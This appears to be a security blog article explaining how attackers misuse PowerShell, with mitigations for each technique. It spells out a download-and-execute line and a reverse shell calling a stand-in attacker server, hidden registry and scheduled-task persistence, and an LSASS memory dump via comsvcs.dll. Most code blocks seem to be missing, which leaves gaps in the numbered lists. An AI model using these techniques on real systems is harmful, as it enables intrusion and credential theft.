The Dark Side of PowerShell.
PowerShell Exploitation in Cyber Attacks
Recently, PowerShell has become a favored tool among cyber attackers. The Carbon Black Threat Research Team, alongside numerous managed security service providers (MSSP) and incident response (IR) partners, reported an increasing use of PowerShell in cyber attacks. Their research indicates that 38% of cyber incidents involved PowerShell, with 87% of these incidents being commodity malware attacks like click fraud, fake antivirus, ransomware, and other opportunistic malware. Social engineering remains the primary technique for delivering these PowerShell-based attacks, often via malicious email attachments or links.
38% of the confirmed incidents seen by 28 MSSP and IR partners of Carbon Black used PowerShell
Common Malicious Uses of PowerShell.
Attackers exploit PowerShell for various malicious purposes. Some of the most common activities include:
Command-and-Control Operations: Attackers use PowerShell to execute commands on compromised systems remotely.
Lateral Movement: PowerShell scripts help attackers move laterally within a network to compromise additional systems.
Establishing Persistence: Attackers use PowerShell to ensure their malicious code remains on a system even after reboots.
Credential Theft: PowerShell can extract and exfiltrate credentials from compromised systems.
Data Exfiltration: Attackers use PowerShell to transfer stolen data out of the network.
1- Command-and-Control Operations.
2. Bypass Security Controls: PowerShell can run obfuscated scripts and commands that evade traditional antivirus solutions and endpoint detection systems.
3. Network Communication: PowerShell can natively make web requests (HTTP/S, DNS), allowing attackers to communicate with their C2 server without needing additional software.
Example of C2 Communication Using PowerShell.
2. `Invoke-WebRequest`: Sends an HTTP request to the C2 server and retrieves the content (commands or scripts).
3. `Invoke-Expression`: Executes the content received from the C2 server as a PowerShell command.
The compromised system periodically fetches this file and executes the commands, allowing the attacker to maintain control.
Risks:
Example 2: C2 with PowerShell and DNS.
2. `Invoke-Expression`: Executes the data received from the DNS response as a command.
Example 3: Using `PowerShell Empire`
2. `-sta`: Starts PowerShell in single-threaded apartment mode, required by certain C2 payloads.
3. `-w 1`: Sets the window style to hidden, making the script execution invisible to the user.
4. `-enc <Base64Payload>`: Executes a Base64-encoded payload. This technique is often used to obfuscate the payload and evade detection.
Example 4: Reverse Shell Using PowerShell.
Explanation
attacker-server.com
on port 4444
.2. `$client.GetStream():`: Retrieves the network stream from the TCP connection. This stream is used for both reading data (commands from the attacker) and writing data (command output back to the attacker).
3. `$writer = New-Object System.IO.StreamWriter($stream)`:
4. `$buffer = New-Object byte[] 1024`:
The while loop is a control flow statement that repeats a block of code as long as the specified condition is true.
In this case, it checks the condition ($bytesRead = $stream.Read($buffer, 0, $buffer.Length)) -ne 0.
It keeps the script running in an infinite loop until the connection is closed by the attacker or an error occurs.
$bytesRead = $stream.Read($buffer, 0, $buffer.Length):
$stream.Read(): => This method reads data from the network stream into a byte array ($buffer).
Parameters:
- $buffer: The byte array where the incoming data (commands from the attacker) will be stored.
- 0: The starting index in the buffer where the read data should be placed.
- $buffer.Length: The maximum number of bytes to read (in this case, 1024 bytes).
Returns: The number of bytes actually read ($bytesRead). If the stream is closed or no data is received, it returns 0.
This line reads the attacker’s input (commands) from the network stream.
-ne 0:
- This is a comparison operator that means "not equal to 0".
- The condition checks if $bytesRead is not equal to 0. If this is true, the loop continues; otherwise, it stops, and it fulfils one purpose which is in case no more data is being received, aka when the attacker closes the connection or some error occurred, since because the $stream.Read() would return 0 so.
like Imagine the attacker types a command like Get-Process, the command is sent over the network stream from the attacker’s machine to the victim’s machine. The while loop reads this command into the $buffer byte array. If the command is received successfully, $bytesRead will be the number of bytes read which is 12 bytes for the string "Get-Process".
And Since $bytesRead is not 0, the loop continues, and the script processes the received data which is the $data variable.
The attacker closes the connection, $stream.Read() returns 0, causing the loop to exit.
- $data = (New-Object Text.ASCIIEncoding).GetString($buffer, 0, $bytesRead)
- GetString($buffer, 0, $bytesRead): =>
The raw byte data ($buffer) is converted into a readable string ($data) so that it can be executed. This string will likely contain a PowerShell command (e.g., Get-Process or a malicious script) that the attacker has sent.
- $result = Invoke-Expression $data 2>&1
$writer.WriteLine($result)
WriteLine($result)
$writer.Flush()
Use Case:
The attacker sets up a listener on their server to receive the connection. Once the victim's system connects back, the attacker can execute arbitrary commands. The while loop reads this command into the $buffer byte array.
Mitigations for PowerShell C2 Attacks.
2. Restrict PowerShell Execution: Use AppLocker or Windows Defender Application Control (WDAC) to enforce script execution policies and restrict unauthorized scripts.
3. Network Traffic Analysis: Monitor outbound HTTP, DNS, and TCP connections for unusual patterns that may indicate C2 activity.
4. Disable Unneeded PowerShell Versions: Disable legacy PowerShell (e.g., v2) if not needed, as it lacks many modern security features.
Detection Example
2 - Lateral Movement.
Lateral movement refers to the technique attackers use to navigate across a network after initially compromising a single host. The goal is often to escalate privileges, access sensitive data, or compromise additional systems, eventually gaining control over the entire network. PowerShell is a popular tool for lateral movement due to its capabilities for automation, remote access, and script execution.
Why Attackers Use PowerShell for Lateral Movement?
- Built-in Tool: PowerShell is installed by default on Windows systems, reducing the need for attackers to drop additional tools, which could be detected by security software.
- Remote Management: PowerShell can remotely execute commands on other systems using features like
Invoke-Command
,WinRM
(Windows Remote Management), or WMI (Windows Management Instrumentation). - Bypassing Security Controls: Attackers can use PowerShell obfuscation and Living-off-the-Land (LotL) techniques, making it difficult for traditional antivirus and endpoint detection solutions to spot malicious activity.
Common PowerShell Commands Used for Lateral Movement:
1. Using Invoke-Command:
For Remote Execution Invoke-Command is a PowerShell cmdlet that allows an attacker to execute a script block on one or more remote computers.
Explanation:
-ComputerName "Target-PC"
: Specifies the target machine where the command should be executed.-ScriptBlock { Get-Process }
: This block of code is what will be executed on the target machine. In this case, it retrieves a list of running processes.-Credential (Get-Credential)
: Prompts for credentials to authenticate on the target machine.
2. Using PowerShell Remoting (WinRM
):
Explanation:
Enable-PSRemoting -Force
: Enables PowerShell remoting on the local machine.Enter-PSSession
: Starts an interactive session with the specified remote computer.-ComputerName "Target-PC"
: The target computer to connect to.-Credential (Get-Credential)
: Prompts for credentials needed to access the remote machine.
3. Using WMI
for Remote Code Execution:
powershell
: This launches a new PowerShell process.-nop
: Short for -NoProfile
, this flag tells PowerShell not to load the user’s profile. It speeds up execution and avoids detection by bypassing any logging or security configurations present in the profile scripts.-c
: Short for -Command
, this specifies that the following string is the command to be executed.iex
: Alias for Invoke-Expression
. This cmdlet takes a string as input and executes it as a PowerShell command. It is often used by attackers to execute malicious payloads dynamically.New-Object Net.WebClient
: Creates a new instance of the WebClient
class, which is used to make HTTP requests..DownloadString('http://attacker-server.com/script.ps1')
: Downloads the PowerShell script from the specified URL.Invoke-WmiMethod
: This PowerShell cmdlet is used to call a method of a WMI class. In this case, it is used for remote code execution.-Class Win32_Process
: The Win32_Process
WMI class represents processes on a Windows system. By interacting with this class, attackers can create or manipulate processes on a remote machine.-Name Create
: This specifies the method to invoke. The Create
method is used to start a new process on the target machine.-ArgumentList $command
: The command to be executed on the target machine. Here, it is the PowerShell command stored in $command
, which downloads and executes the malicious script.-ComputerName "Target-PC"
: Specifies the remote computer on which to execute the command. In this example, it is "Target-PC"
.-Credential (Get-Credential)
: Prompts the user for credentials. The attacker would need valid credentials for the target machine to execute the command successfully.4. Copying Files Remotely with PowerShell (Copy-Item
):
Copy-Item
: Copies a file or folder to a specified location.-Path
: Specifies the source file to copy.-Destination
: The destination path on the target machine.-Credential (Get-Credential)
: Provides credentials for access to the target machine.
5. Enumerating Network Shares with PowerShell:
```
Get-SmbShare
: Retrieves a list of shared folders on the target machine.-ComputerName "Target-PC"
: Specifies the target computer.
6. Dumping Credentials from LSASS Using PowerShell:
rundll32.exe
: This is a built-in Windows utility used to execute functions exported by DLL files. It is often abused by attackers because it is a legitimate system binary and can be used for malicious purposes (a technique called living off the land).- Using
rundll32.exe
, attackers can call exported functions from various system DLLs without needing to drop custom tools. comsvcs.dll
: This is a system DLL that contains various COM and DCOM services for Windows. It includes a function calledMiniDump
, which can be abused to create a memory dump of a process.- Why
comsvcs.dll
? Attackers use it because it is a trusted system DLL that is unlikely to be flagged by antivirus software. MiniDump
: This is a function withincomsvcs.dll
that creates a memory dump of a specified process. It is typically used for debugging and crash analysis but can be abused for malicious purposes.- This function takes several arguments, including the process ID of the target process, the output dump file path, and the dump type.
Get-Process lsass
: This part retrieves the process ID oflsass.exe
using PowerShell.lsass.exe
: The Local Security Authority Subsystem Service (lsass.exe
) is a crucial Windows process that handles authentication and stores credentials in memory.
.Id
: This returns the process ID (PID) oflsass.exe
, which is then passed to theMiniDump
function.lsass.exe
contains sensitive information like hashed passwords, NTLM hashes, and Kerberos tickets. By dumping its memory, attackers can extract these credentials and use them for lateral movement or privilege escalation.C:\Temp\lsass.dmp
: This is the path where the memory dump oflsass.exe
will be saved. The filelsass.dmp
contains the dumped memory data.- Once created, this dump file can be analyzed using tools like Mimikatz or Volatility to extract credentials.
full
: This argument specifies the type of dump to create. It instructsMiniDump
to capture a full memory dump of the process, which includes all the memory used by the process.- A full dump is more comprehensive than a mini-dump, as it contains more detailed information, but it is also larger in size.
How to Mitigate Lateral Movement with PowerShell
- Disable PowerShell Remoting: Use
Disable-PSRemoting -Force
to turn off PowerShell remoting on systems where it’s not needed. - Enable PowerShell Constrained Language Mode: This restricts the functionality of PowerShell, limiting access to certain features often used by attackers.
- Monitor PowerShell Activity: Use Windows Event Logging (e.g., Event ID 4104 for script block logging) to detect suspicious PowerShell commands.
- Implement Endpoint Protection: Use Endpoint Detection and Response (EDR) solutions that can detect and block malicious PowerShell scripts.
- Limit User Permissions: Ensure that only authorized users have administrative privileges, reducing the attacker’s ability to perform lateral movement.
3 - Establishing Persistence
Persistence is a key tactic in cyber attacks, where an attacker ensures their access or malware remains active on a compromised system even after reboots. PowerShell, being a versatile and powerful scripting tool, is often used by attackers to establish persistence due to its deep integration with Windows and ability to execute complex tasks with minimal detection.
Common PowerShell Techniques for Persistence.
Registry Manipulation:
- Attackers can create or modify registry keys that are executed when the system or user logs on. Using PowerShell, attackers can automate this process and hide their payloads in the registry.
Scheduled Tasks:
- PowerShell can be used to create or modify scheduled tasks, which can be set to run malicious scripts at specific times or system events.
WMI Event Subscription:
- Attackers leverage PowerShell to set up WMI (Windows Management Instrumentation) event subscriptions, which can execute malicious code when certain events occur, such as system startup.
Startup Folder:
- PowerShell scripts can be placed in the user’s or system’s Startup folder, ensuring they are executed each time the user logs in.
Example 1: Persistence Using the Registry
Payload Execution:
-nop
: Runs PowerShell with No Profile, reducing potential detection from user profiles.-w hidden
: Starts PowerShell hidden, making it stealthier.-c
: Runs the specified command.iex(...)
: Uses Invoke-Expression to execute the downloaded script inline without saving it.New-Object Net.WebClient
: Creates a WebClient object to download the script from the attacker's server.Persistence via Registry:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
.UpdateChecker
, and its value is set to the payload defined earlier.Detection and Mitigation:
- Monitor changes to the
Run
registry keys. - Use tools like Autoruns to inspect startup programs and remove unauthorized entries.
Example 2: Persistence with Scheduled Tasks
SystemUpdate
, which may look legitimate to a user or system admin.-WindowStyle Hidden
: Executes PowerShell in a hidden window, making it less noticeable.-NoProfile
: Launches PowerShell without loading user-specific profiles, reducing detection.-ExecutionPolicy Bypass
: Ignores any script execution restrictions set on the system.iex(...)
: Uses Invoke-Expression to execute the downloaded script inline.New-Object Net.WebClient
: Downloads the malicious script from the specified URL.schtasks
: A built-in Windows command-line tool to manage scheduled tasks./create
: Creates a new task./tn $taskName
: Specifies the task name (SystemUpdate)./tr $payload
: Defines the task action, which is the malicious PowerShell command./sc onstart
: Configures the task to trigger on system startup, ensuring persistence across reboots./rl highest
: Runs the task with the highest privileges (admin-level), which may give the payload full system access.
Mitigation
- Delete the task if it's malicious:
- Command => " schtasks /delete /tn "SystemUpdate" /f "
- Monitor scheduled tasks using PowerShell (
Get-ScheduledTask
) or tools like Task Scheduler. - Regularly audit tasks and look for suspicious or unauthorized entries.
- Restrict the creation of scheduled tasks to trusted administrators only using Group Policy.
- Block outgoing network connections to suspicious domains via a firewall.
Example 3: Persistence with WMI Event Subscription
Explanation:
Set-WmiInstance
: Creates or modifies WMI objects. In this case, it sets up an event filter, an event consumer, and a binding between them.__EventFilter
: Defines the event that will trigger the action. Here, it triggers when the operating system is modified (e.g., on startup).CommandLineEventConsumer
: Specifies the command to execute when the event occurs.__FilterToConsumerBinding
: Binds the event filter to the consumer, making the attack persistent.
Detection and Mitigation:
- Use tools like Sysinternals Autoruns and WMI Explorer to inspect WMI event subscriptions.
- Monitor WMI activity and look for suspicious event filters and consumers.
Attackers leverage PowerShell for persistence due to its flexibility, stealth, and deep integration with Windows. By using techniques like modifying the registry, creating scheduled tasks, or setting up WMI event subscriptions, attackers can ensure their malicious payloads survive reboots and continue executing.
Key Defensive Strategies:
- Enable PowerShell Script Block Logging and Module Logging to capture suspicious activities.
- Regularly audit registry keys, scheduled tasks, and WMI subscriptions.
- Implement Application Whitelisting to restrict unauthorized use of PowerShell.
- Use Windows Defender Attack Surface Reduction (ASR) rules to block potentially malicious activities.
4 - Credential Theft
Credential theft is a crucial step in many cyber attacks, allowing attackers to escalate privileges, access sensitive data, and move laterally within a network. PowerShell's ability to interact directly with the Windows API, access system memory, and run scripts without user interaction makes it a favored tool for stealing credentials.
PowerShell can be used to extract credentials from various sources, including:
- Windows Credential Manager
- LSASS Process (Local Security Authority Subsystem Service)
- SAM Database (Security Account Manager)
- Web Browsers
- Network Traffic (using packet capture)
1. Credential Dumping from Windows Credential Manager
Attackers can use PowerShell to extract credentials stored in the Windows Credential Manager, which stores user passwords, browser passwords, and other saved credentials.
Example: Using PowerShell to Access Credential Manager
cmdkey /list
: This command lists all stored credentials in the Windows Credential Manager.
Attackers may use this to enumerate saved passwords for remote systems, RDP sessions, or websites.
Detection and Mitigation:
- Limit access to the Credential Manager and disable the storage of plaintext credentials.
- Monitor for unusual usage of
cmdkey
commands, as it’s rarely used by legitimate users.
2. Credential Dumping from LSASS Using PowerShell
The LSASS process stores authentication information in memory, including passwords and hashes. Attackers often attempt to dump the contents of LSASS to extract these credentials.
Example: Dumping LSASS Using PowerShell and rundll32
rundll32.exe
: Executes a DLL function from the command line.comsvcs.dll, MiniDump
: This function in comsvcs.dll
allows dumping of process memory.Get-Process lsass
: Retrieves the process ID of lsass.exe
.C:\Temp\lsass.dmp
: Specifies the output file where the memory dump is saved.Detection and Mitigation:
- Monitor for the execution of
rundll32.exe
withcomsvcs.dll
and memory dumping tools. - Restrict access to
lsass.exe
and enable Credential Guard to protect the LSASS process.
3. Extracting Password Hashes from the SAM Database
The SAM (Security Account Manager) database stores hashed passwords for local accounts. Attackers can use PowerShell to access this database and dump the hashes.
Example: Accessing the SAM Database with PowerShell
Comments